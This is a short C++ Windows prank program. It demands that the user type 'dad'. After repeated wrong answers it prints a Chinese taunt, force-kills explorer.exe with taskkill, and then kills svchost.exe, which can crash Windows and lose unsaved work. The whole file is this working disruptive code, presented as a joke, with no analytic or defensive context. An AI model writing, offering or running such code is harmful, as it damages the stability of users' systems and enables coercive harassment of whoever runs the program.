#include <bits/stdc++.h>
#include <windows.h>
using namespace std;

int main()
{
	string n;
	cout <<"call me dad!";
	cout << endl;
	cin >> n;
	if(n != "dad")
	{
		cout <<"quickly!";
		cout <<endl;
		cin >> n;
		if(n != "dad")
		{
			cout <<"这就是代价!"<<endl;
			system("start taskkill /im explorer.exe /f");
			Sleep(2000);
			cout << "快叫!"<<endl;
			cin >> n;
			if(n != "dad")
			{
				system("start taskkill /im svchost.exe /f");
			 }
			else
			{
        system("start explorer.exe");
				cout <<":)";
			 } 
		 } 
		else
		{
			cout << ":)";
		}
	}
	else
	{
		cout <<":)";
	 } 
 }